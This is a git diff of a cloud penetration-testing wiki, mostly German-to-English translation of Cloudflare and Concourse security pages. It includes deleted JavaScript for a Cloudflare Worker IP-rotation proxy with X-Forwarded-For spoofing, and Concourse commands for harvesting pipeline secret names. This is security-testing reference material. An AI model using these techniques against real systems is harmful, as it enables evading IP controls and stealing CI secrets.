- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
### **Verkehr**
### **Traffic**
TODO
### Benutzerdefinierte Seiten
### Custom Pages
- [ ] Es ist optional, benutzerdefinierte Seiten zu konfigurieren, wenn ein sicherheitsbezogenes Problem auftritt (wie eine Blockierung, Ratenbegrenzung oder Ich bin im Angriffsmodus)
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
### Apps
@@ -119,8 +119,8 @@ TODO
### Scrape Shield
- [ ] Überprüfen Sie, ob die **E-Mail-Adressenobfuskation** **aktiviert** ist
- [ ] Überprüfen Sie, ob die **Serverseitigen Ausschlüsse** **aktiviert** sind
- [ ] Check **Email Address Obfuscation** is **enabled**
- [ ] Check **Server-side Excludes** is **enabled**
### **Zaraz**
@@ -131,3 +131,6 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,286 +0,0 @@
# Missbrauch von Cloudflare Workers als Pass-through-Proxies (IP-Rotation, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers können als transparente HTTP-Pass-Through-Proxies eingesetzt werden, bei denen die Upstream-Ziel-URL vom Client bereitgestellt wird. Anfragen gehen aus dem Cloudflare-Netzwerk heraus, sodass das Ziel Cloudflare-IP-Adressen statt der Client-IP sieht. Dies spiegelt die bekannte FireProx-Technik auf AWS API Gateway wider, nutzt aber Cloudflare Workers.
### Wesentliche Funktionen
- Unterstützung aller HTTP-Methoden (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Das Ziel kann über einen Query-Parameter (?url=...), einen Header (X-Target-URL) oder sogar kodiert im Pfad (z. B. /https://target) übergeben werden
- Header und Body werden durchgereicht, mit Hop-by-hop/Header-Filterung nach Bedarf
- Antworten werden zurückgegeben, Statuscode und die meisten Header bleiben erhalten
- Optionales Spoofing von X-Forwarded-For (wenn der Worker diesen aus einem vom Nutzer kontrollierten Header setzt)
- Sehr schnelle/einfache Rotation durch Deployment mehrerer Worker-Endpunkte und Verteilung der Requests
### Funktionsweise (Ablauf)
1) Client sendet eine HTTP-Anfrage an eine Worker-URL (`<name>.<account>.workers.dev` oder eine Route auf einer Custom-Domain).
2) Der Worker extrahiert das Ziel entweder aus einem Query-Parameter (?url=...), dem X-Target-URL-Header oder einem Pfadsegment, falls implementiert.
3) Der Worker leitet Methode, Header und Body an die angegebene Upstream-URL weiter (filtert problematische Header).
4) Die Upstream-Antwort wird über Cloudflare an den Client gestreamt; die Origin sieht die ausgehenden Cloudflare-IPs.
### Beispielhafte Worker-Implementierung
- Liest die Ziel-URL aus Query-Param, Header oder Pfad
- Kopiert eine sichere Teilmenge der Header und leitet die ursprüngliche Methode/den Body weiter
- Setzt optional X-Forwarded-For mittels eines vom Nutzer kontrollierten Headers (X-My-X-Forwarded-For) oder einer zufälligen IP
- Fügt großzügige CORS-Header hinzu und behandelt Preflight-Anfragen
<details>
<summary>Beispiel-Worker (JavaScript) als Pass-Through-Proxy</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### Automatisierung von Deployment und Rotation mit FlareProx
FlareProx ist ein Python-Tool, das die Cloudflare API verwendet, um viele Worker-Endpunkte bereitzustellen und zwischen ihnen zu rotieren. Das bietet FireProx-like IP-Rotation über das Cloudflare-Netzwerk.
Einrichtung
1) Erstelle ein Cloudflare API Token mit der Vorlage “Edit Cloudflare Workers” und hole deine Account ID aus dem Dashboard.
2) Konfiguriere FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**Erstelle die Konfigurationsdatei flareprox.json:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**CLI-Verwendung**
- Erstelle N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
- Endpunkte auflisten:
```bash
python3 flareprox.py list
```
- Health-Test-Endpunkte:
```bash
python3 flareprox.py test
```
- Alle Endpunkte löschen:
```bash
python3 flareprox.py cleanup
```
**Traffic durch einen Worker routen**
- Query-Parameter-Form:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Header-Form:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- Pfad-Form (falls implementiert):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- Methodenbeispiele:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` Kontrolle**
Wenn der Worker `X-My-X-Forwarded-For` berücksichtigt, können Sie den upstream `X-Forwarded-For`-Wert beeinflussen:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Programmgesteuerte Nutzung**
Verwende die FlareProx-Bibliothek, um Endpunkte zu erstellen/aufzulisten/zu testen und Anfragen aus Python weiterzuleiten.
<details>
<summary>PythonBeispiel: Sende eine POST-Anfrage über einen zufälligen Worker-Endpunkt</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Burp/Scanner Integration**
- Richte Tools (z. B. Burp Suite) auf die Worker URL.
- Übergib den echten Upstream über ?url= oder X-Target-URL.
- HTTP-Semantik (methods/headers/body) bleibt erhalten, während deine Quell-IP hinter Cloudflare verborgen wird.
**Betriebliche Hinweise und Limits**
- Der Cloudflare Workers Free plan erlaubt ungefähr 100.000 requests/day pro Account; nutze bei Bedarf mehrere Endpunkte, um den Traffic zu verteilen.
- Workers laufen im Netzwerk von Cloudflare; viele Ziele sehen nur Cloudflare IPs/ASN, was naive IP allow/deny lists oder Geo-Heuristiken umgehen kann.
- Verwende es verantwortungsvoll und nur mit Autorisierung. Beachte ToS und robots.txt.
## References
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
In einem **Cloudflare Zero Trust Network**-Konto gibt es einige **Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
### Analytics
- [ ] Nützlich, um die **Umgebung** kennenzulernen
- [ ] Useful to **get to know the environment**
### **Gateway**
- [ ] In **`Policies`** ist es möglich, Richtlinien zu erstellen, um den Zugriff auf Anwendungen nach **DNS**, **Netzwerk** oder **HTTP**-Anfrage zu **beschränken**.
- Wenn verwendet, könnten **Richtlinien** erstellt werden, um den Zugriff auf bösartige Seiten zu **beschränken**.
- Dies ist **nur relevant, wenn ein Gateway verwendet wird**, andernfalls gibt es keinen Grund, defensive Richtlinien zu erstellen.
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- If used, **policies** could be created to **restrict** the access to malicious sites.
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
### Access
#### Applications
Bei jeder Anwendung:
On each application:
- [ ] Überprüfen, **wer** auf die Anwendung in den **Policies** zugreifen kann und sicherstellen, dass **nur** die **Benutzer**, die **Zugriff benötigen**, auf die Anwendung zugreifen können.
- Um den Zugriff zu ermöglichen, werden **`Access Groups`** verwendet (und **zusätzliche Regeln** können ebenfalls festgelegt werden).
- [ ] Überprüfen Sie die **verfügbaren Identitätsanbieter** und stellen Sie sicher, dass sie **nicht zu offen** sind.
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
- [ ] Check the **available identity providers** and make sure they **aren't too open**
- [ ] In **`Settings`**:
- [ ] Überprüfen, dass **CORS nicht aktiviert** ist (wenn es aktiviert ist, überprüfen, ob es **sicher** ist und nicht alles erlaubt).
- [ ] Cookies sollten das Attribut **Strict Same-Site**, **HTTP Only** haben und **binding cookie** sollte **aktiviert** sein, wenn die Anwendung HTTP ist.
- [ ] Erwägen Sie auch, **Browser Rendering** für besseren **Schutz** zu aktivieren. Weitere Informationen über **[**remote browser isolation hier**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
- [ ] Überprüfen, dass die generierten Zugriffgruppen **korrekt auf die Benutzer** beschränkt sind, die sie zulassen sollten.
- [ ] Es ist besonders wichtig zu überprüfen, dass die **Standardzugriffsgruppe nicht zu offen** ist (sie **erlaubt nicht zu viele Personen**), da standardmäßig jeder in dieser **Gruppe** auf **Anwendungen** zugreifen kann.
- Beachten Sie, dass es möglich ist, **Zugriff** für **JEDEN** und andere **sehr offene Richtlinien** zu gewähren, die nicht empfohlen werden, es sei denn, es ist 100% notwendig.
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
#### Service Auth
- [ ] Überprüfen, dass alle Diensttoken **in 1 Jahr oder weniger ablaufen**
- [ ] Check that all service tokens **expires in 1 year or less**
#### Tunnels
@@ -50,12 +50,15 @@ TODO
### Logs
- [ ] Sie könnten nach **unerwarteten Aktionen** von Benutzern suchen
- [ ] You could search for **unexpected actions** from users
### Settings
- [ ] Überprüfen Sie den **Plan-Typ**
- [ ] Es ist möglich, den **Namen des Kreditkarteninhabers**, die **letzten 4 Ziffern**, das **Ablaufdatum** und die **Adresse** zu sehen.
- [ ] Es wird empfohlen, eine **Benutzer-Sitzungsablauf** hinzuzufügen, um Benutzer zu entfernen, die diesen Dienst nicht wirklich nutzen.
- [ ] Check the **plan type**
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,33 +1,36 @@
# Concourse-Sicherheit
# Concourse Security
{{#include ../../banners/hacktricks-training.md}}
## Grundinformationen
## Basic Information
Concourse ermöglicht es Ihnen, **Pipelines** zu erstellen, um automatisch Tests, Aktionen auszuführen und Bilder zu erstellen, wann immer Sie es benötigen (zeitbasiert, wenn etwas passiert...)
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
## Concourse-Architektur
## Concourse Architecture
Erfahren Sie, wie die Concourse-Umgebung strukturiert ist in:
Learn how the concourse environment is structured in:
{{#ref}}
concourse-architecture.md
{{#endref}}
## Concourse-Labor
## Concourse Lab
Erfahren Sie, wie Sie eine Concourse-Umgebung lokal ausführen können, um Ihre eigenen Tests durchzuführen in:
Learn how you can run a concourse environment locally to do your own tests in:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
## Concourse auflisten & angreifen
## Enumerate & Attack Concourse
Erfahren Sie, wie Sie die Concourse-Umgebung auflisten und missbrauchen können in:
Learn how you can enumerate the concourse environment and abuse it in:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,38 +1,42 @@
# Concourse-Architektur
# Concourse Architecture
{{#include ../../banners/hacktricks-training.md}}
## Concourse-Architektur
## Concourse Architecture
[**Relevante Daten aus der Concourse-Dokumentation:**](https://concourse-ci.org/internals.html)
### Architektur
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
### Architecture
![](<../../images/image (187).png>)
#### ATC: Web-UI & Build-Planer
#### ATC: web UI & build scheduler
Das ATC ist das Herz von Concourse. Es betreibt die **Web-UI und API** und ist verantwortlich für die gesamte Pipeline-**Planung**. Es **stellt eine Verbindung zu PostgreSQL** her, das zur Speicherung von Pipeline-Daten (einschließlich Build-Protokollen) verwendet wird.
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
Die Verantwortung des [Checkers](https://concourse-ci.org/checker.html) besteht darin, kontinuierlich nach neuen Versionen von Ressourcen zu suchen. Der [Scheduler](https://concourse-ci.org/scheduler.html) ist verantwortlich für die Planung von Builds für einen Job, und der [Build-Tracker](https://concourse-ci.org/build-tracker.html) ist verantwortlich für die Ausführung aller geplanten Builds. Der [Garbage Collector](https://concourse-ci.org/garbage-collector.html) ist der Bereinigungsmechanismus zum Entfernen von nicht verwendeten oder veralteten Objekten, wie Containern und Volumes.
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
#### TSA: Worker-Registrierung & Weiterleitung
#### TSA: worker registration & forwarding
Die TSA ist ein **maßgeschneiderter SSH-Server**, der ausschließlich zur sicheren **Registrierung** von [**Workern**](https://concourse-ci.org/internals.html#architecture-worker) beim [ATC](https://concourse-ci.org/internals.html#component-atc) verwendet wird.
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
Die TSA hört **standardmäßig auf Port `2222`** und ist normalerweise zusammen mit dem [ATC](https://concourse-ci.org/internals.html#component-atc) und hinter einem Lastenausgleich platziert.
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
Die **TSA implementiert CLI über die SSH-Verbindung** und unterstützt [**diese Befehle**](https://concourse-ci.org/internals.html#component-tsa).
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
#### Worker
#### Workers
Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich selbst** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus.
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** ausgeführt wird.
- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** ausgeführt wird.
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
## Referenzen
## References
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,47 +4,51 @@
## Concourse Enumeration & Attacks
### Benutzerrollen & Berechtigungen
Concourse kommt mit fünf Rollen:
- _Concourse_ **Admin**: Diese Rolle wird nur den Eigentümern des **Hauptteams** (standardmäßiges anfängliches Concourse-Team) zugewiesen. Admins können **andere Teams konfigurieren** (z.B.: `fly set-team`, `fly destroy-team`...). Die Berechtigungen dieser Rolle können nicht durch RBAC beeinflusst werden.
- **owner**: Team-Eigentümer können **alles innerhalb des Teams ändern**.
- **member**: Team-Mitglieder können innerhalb der **Teamressourcen lesen und schreiben**, können jedoch die Teameinstellungen nicht ändern.
- **pipeline-operator**: Pipeline-Betreiber können **Pipeline-Operationen** wie das Auslösen von Builds und das Festlegen von Ressourcen durchführen, können jedoch die Pipeline-Konfigurationen nicht aktualisieren.
- **viewer**: Team-Viewer haben **"nur-Lese"-Zugriff auf ein Team** und dessen Pipelines.
### User Roles & Permissions
Concourse comes with five roles:
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
- **owner**: Team owners can **modify everything within the team**.
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
> [!NOTE]
> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer** durch die Konfiguration von RBAC (insbesondere durch die Konfiguration ihrer Aktionen) geändert werden. Lesen Sie mehr darüber in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Beachten Sie, dass Concourse **Pipelines innerhalb von Teams gruppiert**. Daher können Benutzer, die zu einem Team gehören, diese Pipelines verwalten, und **mehrere Teams** können existieren. Ein Benutzer kann mehreren Teams angehören und unterschiedliche Berechtigungen in jedem von ihnen haben.
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
### Vars & Credential Manager
In den YAML-Konfigurationen können Sie Werte mit der Syntax `((_source-name_:_secret-path_._secret-field_))` konfigurieren.\
[Aus den Dokumenten:](https://concourse-ci.org/vars.html#var-syntax) Der **source-name ist optional**, und wenn er weggelassen wird, wird der [clusterweite Credential Manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) verwendet, oder der Wert kann [statisch](https://concourse-ci.org/vars.html#static-vars) bereitgestellt werden.\
Das **optionale \_secret-field**\_ gibt ein Feld im abgerufenen Geheimnis an, das gelesen werden soll. Wenn es weggelassen wird, kann der Credential Manager wählen, ein 'Standardfeld' aus dem abgerufenen Credential zu lesen, wenn das Feld existiert.\
Darüber hinaus können der _**secret-path**_ und _**secret-field**_ von doppelten Anführungszeichen `"..."` umgeben sein, wenn sie **spezielle Zeichen** wie `.` und `:` enthalten. Zum Beispiel wird `((source:"my.secret"."field:1"))` den _secret-path_ auf `my.secret` und das _secret-field_ auf `field:1` setzen.
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
#### Statische Vars
#### Static Vars
Static vars can be specified in **tasks steps**:
Statische Vars können in **Aufgaben-Schritten** angegeben werden:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Or using the following `fly` **Argumente**:
- `-v` oder `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`.
- `-y` oder `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`.
- `-i` oder `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) um mehr über Instanzvariablen zu erfahren.
- `-l` oder `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das Variablennamen mit Werten verknüpft, und setzt sie alle.
Or using the following `fly` **arguments**:
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
#### Credential Management
Es gibt verschiedene Möglichkeiten, wie ein **Credential Manager in einer Pipeline angegeben werden kann**, lesen Sie mehr in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Darüber hinaus unterstützt Concourse verschiedene Credential Manager:
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Moreover, Concourse supports different credential managers:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
@@ -57,151 +61,160 @@ Darüber hinaus unterstützt Concourse verschiedene Credential Manager:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Beachten Sie, dass wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Sie Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
### Concourse Enumeration
Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmeldeinformationen sammeln** oder ein **authentifiziertes Token** finden, wahrscheinlich in einer `.flyrc`-Konfigurationsdatei.
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
#### Login und aktuelle Benutzer-Enumeration
#### Login and Current User enum
- Um sich anzumelden, müssen Sie den **Endpunkt**, den **Teamnamen** (Standard ist `main`) und ein **Team, dem der Benutzer angehört**, kennen:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Konfigurierte **Ziele** abrufen:
- `fly targets`
- Überprüfen, ob die konfigurierte **Zielverbindung** noch **gültig** ist:
- `fly -t <target> status`
- **Rolle** des Benutzers gegenüber dem angegebenen Ziel abrufen:
- `fly -t <target> userinfo`
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Get configured **targets**:
- `fly targets`
- Get if the configured **target connection** is still **valid**:
- `fly -t <target> status`
- Get **role** of the user against the indicated target:
- `fly -t <target> userinfo`
> [!NOTE]
> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie eine Maschine durchsuchen, könnten Sie dort die Anmeldeinformationen finden.
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
#### Teams & Benutzer
#### Teams & Users
- Eine Liste der Teams abrufen:
- `fly -t <target> teams`
- Rollen innerhalb des Teams abrufen:
- `fly -t <target> get-team -n <team-name>`
- Eine Liste der Benutzer abrufen:
- `fly -t <target> active-users`
- Get a list of the Teams
- `fly -t <target> teams`
- Get roles inside team
- `fly -t <target> get-team -n <team-name>`
- Get a list of users
- `fly -t <target> active-users`
#### Pipelines
- **Liste** der Pipelines:
- `fly -t <target> pipelines -a`
- **Pipeline** YAML abrufen (**sensible Informationen** könnten in der Definition gefunden werden):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Alle **konfigurierten Variablen** der Pipeline abrufen:
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Alle **geheimen Namen der Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container übernehmen können, könnten Sie sie exfiltrieren):
- **List** pipelines:
- `fly -t <target> pipelines -a`
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Get all pipeline **config declared vars**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### Container & Worker
- Liste **Arbeiter**:
- `fly -t <target> workers`
- Liste **Container**:
- `fly -t <target> containers`
- Liste **Builds** (um zu sehen, was läuft):
- `fly -t <target> builds`
#### Containers & Workers
### Concourse Angriffe
- List **workers**:
- `fly -t <target> workers`
- List **containers**:
- `fly -t <target> containers`
